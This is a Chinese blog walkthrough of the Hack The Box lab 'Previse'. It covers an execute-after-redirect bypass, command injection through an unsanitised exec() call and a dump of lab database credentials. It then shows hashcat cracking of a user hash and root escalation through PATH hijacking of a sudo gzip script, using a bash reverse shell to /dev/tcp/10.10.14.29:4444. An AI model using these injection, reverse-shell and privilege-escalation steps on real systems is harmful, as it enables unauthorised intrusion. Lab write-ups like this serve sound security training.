【Hack The Box】linux练习-- Previse
创始人
2024-04-13 22:17:07
0

HTB 学习笔记

【Hack The Box】linux练习-- Previse


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • ear
    • 基于ear的重定向绕过
    • 源码分析
    • www->
    • 命令挟持

在这里插入图片描述

信息收集

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu)

有价值的就这么两个

在这里插入图片描述
页面底部有一个
m4lwhere
可能是一个用户名
在这里插入图片描述
抓包分析的时候发现它不光返回302,还返回一个完整的页面

ear

这是 重定向后执行 (EAR) 漏洞 。 PHP 代码可能会检查会话,如果没有,则发送重定向。 这是来自 OWASP 页面的示例:

print "\n\n"; 
} ?>

基于ear的重定向绕过

首先对bp进行设置,可以抓响应包
在这里插入图片描述在这里插入图片描述我把302 notfound改成200 ok(大写)

在这里插入图片描述
这个页面不是很有用,但它在那里。 顶部的链接指向另外四个页面:

帐户 ( /accounts.php)
文件 ( /files.php)
管理菜单 –> 网站状态 ( /status.php)
管理菜单 –> 日志数据 ( file_logs.php)

我试图添加一个用户

在这里插入图片描述
在这里插入图片描述这里同样是一个302,我们依旧可以修改成200来成功添加用户

而后可以不用bp了,正常登陆
而后来到files目录
在这里插入图片描述
有这个压缩包,点一下下载下来

源码分析

检索一下危险函数

grep -R -e system -e exec -e passthru -e '`' -e popen -e proc_open *

看到存在危险函数
在这里插入图片描述
出问题的源码(logs.php)

header('Location: login.php');exit;
}
?>header('Location: login.php');exit;
}
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;$filepath = "/var/www/out.log";
$filename = "out.log";if(file_exists($filepath)) {header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($filepath).'"');header('Expires: 0');header('Cache-Control: must-revalidate');header('Pragma: public');header('Content-Length: ' . filesize($filepath));ob_clean(); // Discard data in the output bufferflush(); // Flush system headersreadfile($filepath);die();
} else {http_response_code(404);die();
}
?> 

可以看到
在将用户输入放入调用之前没有对用户输入进行清理 exec,这意味着我可以添加各种注入来执行,比如
; [command]和 $([command])

在这里插入图片描述我们选space模式,而后跟一个bash的反弹命令即可
用分号做隔断

在这里插入图片描述

www->

先建立一个稳定的shell

script /dev/null -c bash

在/var/www/html/config.php下找到了凭据
在这里插入图片描述

$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';

密码不能复用,我将在数据库寻找答案

mysql -h localhost -u root -p'mySQL_p@ssw0rd!:)'
show databases;
use previse;
show tables;
describe files;//描述一下这个表,防止太大了一下挤爆靶场
+-------------+--------------+------+-----+-------------------+----------------+
| Field       | Type         | Null | Key | Default           | Extra          |
+-------------+--------------+------+-----+-------------------+----------------+
| id          | int(11)      | NO   | PRI | NULL              | auto_increment |
| name        | varchar(255) | NO   |     | NULL              |                |
| size        | int(11)      | NO   |     | NULL              |                |
| user        | varchar(255) | YES  |     | NULL              |                |
| data        | blob         | YES  |     | NULL              |                |
| upload_time | datetime     | YES  |     | CURRENT_TIMESTAMP |                |
| protected   | tinyint(1)   | YES  |     | 0                 |                |
+-------------+--------------+------+-----+-------------------+----------------+

发现文件很大,所以不能直接select打开

select name,size,user,protected from files;

在这里插入图片描述再看下一个表

describe accounts;
select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | 0xdff    | $1$🧂llol$H.PGkFFp/y7qUAVKR4VKK1 | 2021-07-16 20:04:52 |
+----+----------+------------------------------------+---------------------+

得到了一组凭据

m4lwhere $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

这为啥有个奶瓶?

hashcat -m 500 m4lwhere.hash /usr/share/wordlists/rockyou.txt$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

凭据如下

m4lwhere/ilovecody112235!

而后登陆m4lwhere用户
直接su即可
在这里插入图片描述sudo -l显示他可以执行那个backup脚本

在这里插入图片描述
cat打开看看

#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

在这里插入图片描述
看起来这个脚本有点问题,并且是个计划任务应该,因为他提到了cron
该脚本正在将日志备份到 /var/backups:

命令挟持

该脚本的漏洞在于 gzip在没有完整路径的情况下被调用。
在 /tmp我将创建一个名为 gzip的文件
生成一个反向 shell:

#!/bin/bashbash -i >& /dev/tcp/10.10.14.29/4444 0>&1

添加自制gzip到临时环境变量

export PATH=/tmp:$PATH

记得赋权

在这里插入图片描述

相关内容

热门资讯

AWSECS:访问外部网络时出... 如果您在AWS ECS中部署了应用程序,并且该应用程序需要访问外部网络,但是无法正常访问,可能是因为...
AWSElasticBeans... 在Dockerfile中手动配置nginx反向代理。例如,在Dockerfile中添加以下代码:FR...
AWR报告解读 WORKLOAD REPOSITORY PDB report (PDB snapshots) AW...
AWS管理控制台菜单和权限 要在AWS管理控制台中创建菜单和权限,您可以使用AWS Identity and Access Ma...
北信源内网安全管理卸载 北信源内网安全管理是一款网络安全管理软件,主要用于保护内网安全。在日常使用过程中,卸载该软件是一种常...
​ToDesk 远程工具安装及... 目录 前言 ToDesk 优势 ToDesk 下载安装 ToDesk 功能展示 文件传输 设备链接 ...
Azure构建流程(Power... 这可能是由于配置错误导致的问题。请检查构建流程任务中的“发布构建制品”步骤,确保正确配置了“Arti...
群晖外网访问终极解决方法:IP... 写在前面的话 受够了群晖的quickconnet的小水管了,急需一个新的解决方法&#x...
AWSECS:哪种网络模式具有... 使用AWS ECS中的awsvpc网络模式来获得最佳性能。awsvpc网络模式允许ECS任务直接在V...
不能访问光猫的的管理页面 光猫是现代家庭宽带网络的重要组成部分,它可以提供高速稳定的网络连接。但是,有时候我们会遇到不能访问光...